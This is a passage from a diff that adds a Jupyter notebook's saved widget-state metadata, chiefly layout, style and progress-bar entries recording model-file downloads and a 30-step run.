+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "330eb2500161464db0d797d2f04e550f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8e7b4587729f4fe597e2342b9e8c5b06",
+              "IPY_MODEL_c4d2925dd1dd40bab2b22f09bf9497e6",
+              "IPY_MODEL_55470891a5ad41f2b04d3d5c86c1c934"
+            ],
+            "layout": "IPY_MODEL_0afcffbca4c1462ba2bc1d3cd1aa2c13"
+          }
+        },
+        "3467d3ba1eeb44c69149cdbc55469f39": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3593ebaab56e4bca9706c5775ae87b75": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_dc8d5cf759be4ab08d801e1d4758b34a",
+              "IPY_MODEL_ef3472cacb4d426cbacec25777507432",
+              "IPY_MODEL_d5a6cb28917b48d4910903e016319aec"
+            ],
+            "layout": "IPY_MODEL_ba1422edddc447b78ba7fbf4ba11e364"
+          }
+        },
+        "36cb537e89324f54b767df1e24045108": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3808c4765a054dd0a2771050871177a4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "39a24d7b46f2428597c345b1d0ac8680": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "39e7952fd2c34271a44ca997250a313c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3b7d6992813e4a32aa5c6d959ac24b27": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3b9b27b4550c453f82f000c03d1209a7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c4783205744246c99a52bb6bb8df3d7d",
+            "max": 806,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7d941358dd1b4298bf1bf803b625f764",
+            "value": 806
+          }
+        },
+        "3bcb60cbd7ab48e2884460a1e539bd12": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3bfe8491fdc84726a9a2ea2a9eb33884": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7be8f4522cdc41f08c69b4a36520eb5a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ebfab18cc7484b71bb252d4e242e3b40",
+            "value": " 30/30 [00:07&lt;00:00,  3.81it/s]"
+          }
+        },
+        "3bffddd95fdf4e3c896e1554a239273a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3c3af60f4f07476c8700910b4259a066": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3d4c455dc8344c7b8b42a609322713e8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3eccfb04c05445f8a45a56afd74f7e41": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_afea13c7ba3a44eeab58c5069f677a61",
+              "IPY_MODEL_0b695e5be5184a43a9f26b21f69a4338",
+              "IPY_MODEL_b6e068b2f21844dc9c184ec49af6b48f"
+            ],
+            "layout": "IPY_MODEL_dc22f7fca8eb4d258406b3b53af177cc"
+          }
+        },
+        "3f197b982242418bb24f4156db991c19": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_56310a7fb0804b43a60815c858d910c5",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a401d37863744fd58fe863b27d6a562b",
+            "value": 20
+          }
+        },
+        "3f2fee0c35144daf8234caf57ad3907e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "405d6f07be5743be8ea10f7e2d4ee73d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3b7d6992813e4a32aa5c6d959ac24b27",
+            "placeholder": "​",
+            "style": "IPY_MODEL_78684c2b2b05406ba992fe197c947bcc",
+            "value": "Downloading (…)cheduler_config.json: 100%"
+          }
+        },
+        "40ea712393314cfe9452f6b14bfd58e6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "422cdb3a6aed4177aba5f6e9ac77e1bf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "42f14a72c44047b695a6b2bfc5184370": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "43ac63628b35419cb9db5d234951e84f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "440bb669cff048cea2363b50d28521ed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "44638b1824bc48de85029440f2f4a612": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bb3842e44e0a49f2bec66a0bbb971348",
+            "max": 616,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_30e99a47aedb446ab999975c08fd96e3",
+            "value": 616
+          }
+        },
+        "48b23ac8e7ce46239504712135b41444": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "48d6f53c34b84be4a219cc30ac539aeb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "48e9b5493b8f4191b9707df7c83b0f50": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "48faccb381254cd99a649c239a419649": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4afa3f9ee15546c1979113f0e618efcf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4b313724533349be92ef5cb53c1388cd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "4b39f1322aca40da82220ddcfa0c3975": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4b63548f0285403e9e4f2431632cc3ae": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0a2014cc648840249d57eb9c569e9fa1",
+            "max": 617,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3467d3ba1eeb44c69149cdbc55469f39",
+            "value": 617
+          }
+        },
+        "4cbd69647642484f9058b10156001882": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cce1c917ad4a4b2c93369e249cd1c13c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ff7172bc118f4f22bc1acbe531787b42",
+            "value": " 472/472 [00:00&lt;00:00, 10.6kB/s]"
+          }
+        },
+        "4d91d312e2ff43509652ce52d7d999d3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4dc4d2c609eb40eaa6df50be567b2c61": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4dc511c396c5492c8d707ba52783edcb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
